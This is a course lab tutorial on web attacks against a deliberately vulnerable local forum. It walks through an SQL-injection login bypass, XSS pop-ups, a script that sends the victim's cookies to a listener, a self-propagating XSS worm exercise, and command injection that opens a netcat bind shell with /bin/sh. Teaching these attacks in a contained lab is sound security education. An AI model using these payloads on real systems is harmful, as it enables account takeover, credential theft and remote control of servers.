Web Attacks Tutorial

Getting started with the forum

In order to complete this lab you need to have docker installed and available on your $PATH. Run the following to start the lab. Following any steps printed by the scripts README.

git clone https://github.com/cs354/CS-354.git
bash CS-354/labs/web-attack-lab.bash

You won't need this container until the 3rd and 4th parts of the lab. Just leave it minimized for now.

SQL Injection

SQL Injection, where malicious SQL statements are run on a database, can allow a malicious user to attack the server itself. In this case, we've created a web server that will not sanitize the Username or Password fields, and can be easily manipulated into allowing administrator login.

The following SQL statement is run in order to authenticate a user:

'SELECT id FROM users where password='+hash(password)+' and username='+username+' LIMIT 1'

This selects the username and password from the accounts table on the message board where both the username and the password in the database match the username and hash of the password from the user. Limit 1 means that only 1 result at most will be returned, and the rest, if they exist, will be discarded.

Normally, characters such as quotes are stripped out of user input, but in many vulnerable servers, this is not done. So, we can arbitrarily change the above SQL statement to whatever we would like, because this server does not stop us.

Adding anything to the password is useless, because the password is md5 hashed, so that only the hashed password is stored on the database for security reasons. Theoretically, md5 hashing cannot be reversed, so the actual password is not retrievable. What this means for us is that any SQL characters we try to inject into the password will be corrupted.

However, we can alter the username field such that all results for the above statement returns true.
For a normal login, the SQL looks something like:

select username, password from users where password = hash('hunter1') and username='admin' limit 1;

But, we can set username to ' or '1' = '1 so that the result is:

select username, password from users where password = hash('hunter1') and username='`' or '1'='1`' limit 1;

The bold highlighted characters are what we have injected. Then, the where statement, instead of picking only rows that have both the username and the password matching the input, instead picks any row where the username is blank and the password matches or any row where true. This means that, since limit 1 is there, the first row will be returned.

This happens, on in our test forum, to always be the admin, and so, if we enter the above string for our username and any password, we will be logged in admin.

What can be done with this attack varies based on the usage of the SQL statement. Some search pages, for example, have vulnerabilities that allow any data in the database to be returned by using the union statement. It all depends on how the results of the query are used. In this case, the first returned result is used for authentication, and so we can get privilege escalation.

Cross-Site Scripting


Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into a victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we will use the vulnerable forum you have just gained admin access to. We created a small forum like page with a XSS vulnerability; this vulnerability allows users to post any arbitrary message to the board, including JavaScript programs. Students need to exploit this vulnerability by posting some malicious messages to the message board; users who view these malicious messages will become victims. The attackers' goal is to post forged messages for the victims.

Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to post a malicious message that contains JavaScript to display an alert window. The JavaScript should be provided along with the user comments in the message. The following JavaScript will display an alert window:


If you post this JavaScript along with your comments in the message board, then any user who views this comment will see the alert window.

Task 2: Posting a Malicious Mesage to Display Cookies

The objective of this task is to post a malicious message on the message board containing a JavaScript code, such that whenever a user views this message, the user's cookies will be printed out. For instance, consider the following message that contains a JavaScript code:

 Hello Everybody, 
 Welcome to this message board.

When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.

Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code can print out the user's cookies; in this task, the attacker wants the JavaScript code to send the cookies to the himself/herself. To achieve this, the malicious JavaScript code can send send a HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert a <img> tag with src set to the URL of the attackers destination. When the JavaScript inserts the img tag, the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attacker's website. The JavaScript given below sends the cookies to port 5555 on the container you launched earlier. If you're running on vicious replace attacker-local with vicious.cs.northwestern.edu:second_port_you_specied (it will be forwarded to port 6000 within your container on vicious).

Hello Folks, 
<script>document.write("<img src=http://localhost:6000?c=" 
                          + escape(document.cookie) + ">");  </script>
This script is to test XSS.

Inside the container you minimized earlier create a file on your computer called simplehttp.py that contains the following code:

import http.server
import socketserver

PORT = 6000

Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)

Then run it with

python3 simplehttp.py

Once this server is running, try out the javascript above. When you refresh the page, it will send the cookie to the IP address and port number that you specified, and the server will print it out.

Task 4: Writing an XSS Worm

In this task, we will steal cookies from a victim, and then forge an HTTP request using those cookies directly from the victim's browser. In order to accomplish this task, the worm program must do the following:

*Retrieve the cookie from the user using Javascript.
*Forge an HTTP post request to post a message.

There are two common types of HTTP requests, one is HTTP GET, and the other is HTTP POST. These two types of HTTP requests differ in how they send the contents of the request to the server. The request for posting a message to our forum uses HTTP POST. We can use the XMLHttpRequest object to send HTTP GET and POST requests from web applications. XMLHttpRequest can only send HTTP requests back to the server, instead of other computers, because the same-origin policy is strongly enforced for XMLHttpRequest. This is not an issue for us, because we only want to use XMLHttpRequest to send a forged HTTP POST request back to the server.

To forge a forum post, we should first analyze how the forum works in terms of posting messages. More specifically, our goal is to figure out what is sent to the server when a user posts a new message. Firefox's developer tools can help us; the web console can display the contents of any HTTP message sent or received by the browser. From the contents, we can identify all the the parameters of request and response messages. Firefox developer tools (as well as equivalents on other browsers) are available through Tools -> Developer Tools. Go ahead and open up the web console, then post a new topic inside your forum, and see the requests. Find the HTTP Post request and look it over. Specifically, look for the content of the request, which contains the post title and message text. You may need to right-click to enable logging of request and response bodies in the console.

With this knowledge, it is time to compose Javascript code which will forge an HTTP post request, posting a new message from each user who clicks on your malicious post.

We provide a skeleton of the JavaScript code that you need to write. You need to fill in the content of the AJAX request.

The javascript function escape will be helpful here.

    let Ajax=null;

    // Construct the header information for the Http request
    Ajax=new XMLHttpRequest();

    let body = "";

Task 5: Writing a Self-Propagating XSS Worm

The worm built in the previous task only forges a message on behalf of the victims; it does not propagate itself. Therefore, technically speaking, it is not a worm. To be able to propagate itself, the forged message should also include a worm, so whenever somebody clicks on the forged message, a new forged message that carry the same worm will be created. This way, the worm can be propagated. The more people click on the forged messages, the faster the worm can propagate.

In this task, you need to expand what you did in Task 5, and add a copy of the worm to the body of the forged message. The following guidelines will help you with the task:

  1. The JavaScript program that posts the forged message is already part of the web page. Therefore, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:

    <script class="worm">;
        var strCode = document.querySelector(".worm");
  2. All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, the copy of your worm should be encoded using the escape function. An example of using the function is given below.

        var strSample = "Hello World";
        var urlEncSample = escape(strSample);
  3. Under the URL encoding scheme the '+' symbol is used to denote space. In order to avoid confusion and difficulties, you should use the Javascript string concat function in order to concatonate strings within the content of your POST.

Once you have written a self-propagating worm, show it to one of the TAs to receive credit for this portion of the lab.

Shell Attacks

While XSS allows us to steal credentials, and SQL injection allowed us to login as Administrator or perform other database queries, Shell attacks allow actual machine control.

A Shell attack is very simple and yet very dangerous for the victim. In essence, it is injecting commands into scripts that use Linux utilities. Back when Perl CGI scripts were common, they might do things like use cat /etc/passwd or finger to search for users on the system, for example. Or, such as in this case, they may execute echo to write to a log file.

os.system("echo "+msg+" >> /usr/src/app/admin_log");

msg is the what you submitted on the contact form page. This simply logs your message to a file.

However, msg is not sanitized. Thus, we can execute arbitrary commands on the system very easily.

While on the forum, click Contact Us and try to craft a message that runs the command

nc -l -p 4567 -e /bin/sh

Then reach out to this listener from your container with

nc web-attack-lab-local 4567

If you're working on vicious replace web-attack-lab-local with web-attack-lab-NETID.